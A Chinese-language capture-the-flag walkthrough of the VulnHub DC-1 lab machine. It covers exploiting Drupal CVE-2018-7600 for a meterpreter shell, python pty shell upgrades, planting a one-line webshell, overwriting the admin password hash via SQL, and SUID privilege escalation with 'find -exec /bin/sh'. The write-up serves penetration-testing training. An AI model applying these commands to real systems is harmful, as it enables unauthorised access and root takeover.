vulbhub-dc1打靶

环境

vulnhub靶场,项目地址:https://www.vulnhub.com/entry/dc-1,292/
靶机:172.16.17.142
攻击机:172.16.17.140
网络模式:net

目标

找到5个flag

信息收集

  • nmap扫描找目标ip

  • 访问web

    收集到web指纹,和cms指纹

exp利用

google找到cms有nday(cve-2018-7600),进kali找exp打

返弹一个meterpreter shell,但是权限很低

找flag

  • 第一个flag
    用python反弹一个交互式shell
1
2
python -c 'import pty;pty.spawn("/bin/sh")'
python ‐c "import pty;pty.spawn('/bin/bash')"

拿到提示信息 (每个好的 CMS 都需要一个配置文件——你也一样。)
百度找配置文件路径,写一个一句话上去用蚁剑连,方便一点

在此配置文件下找到mysql连接账号密码

要注意的是,这里的mysql不出网,只能通过msf反弹的shell去连接

拿到网站后台账号密码,但是解密不出

继续往下翻数据库

  • flag3的线索

到此,我们看到了flag3到底在哪里了(uid为1的用户是不受Drupal权限管制的,具有最高权限。)现在我们有两个思路:

  1. 重置管理员密码
    可能是环境原因,我在加密密码的时候报错

    网上找了一个加密好的

    1
    2
    明文:password
    密文:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

    写入表中替换原来的密码

    1
    update drupaldb.users set pass="$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4" where uid=1;  

    登录

    找到flag3得到提示

    (特殊的PERMS将帮助您找到passwd,但您需要执行该命令来确定如何获取阴影中的内容。)

  2. 利用exp添加用户

    首先要查看cms具体版本

    使用searchsploit找exp

    需要使用python2去运行,之后会创建一个test的用户

提权

根据flag3的提示,去寻找线索

发现flag4 在home目录下

拿到flag4的提示
(是否可以使用相同的方法在root目录下找到最终flag)

根据提示,想到使用suid提权,查询root权限的命令

1
2
3
4
find / -user root -perm -4000
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

可以看到find本身就是root权限

使用find提权,要注意的是-name后的文件必须存在

1
2
find ./ -name flag4.txt -exec '/bin/sh' \;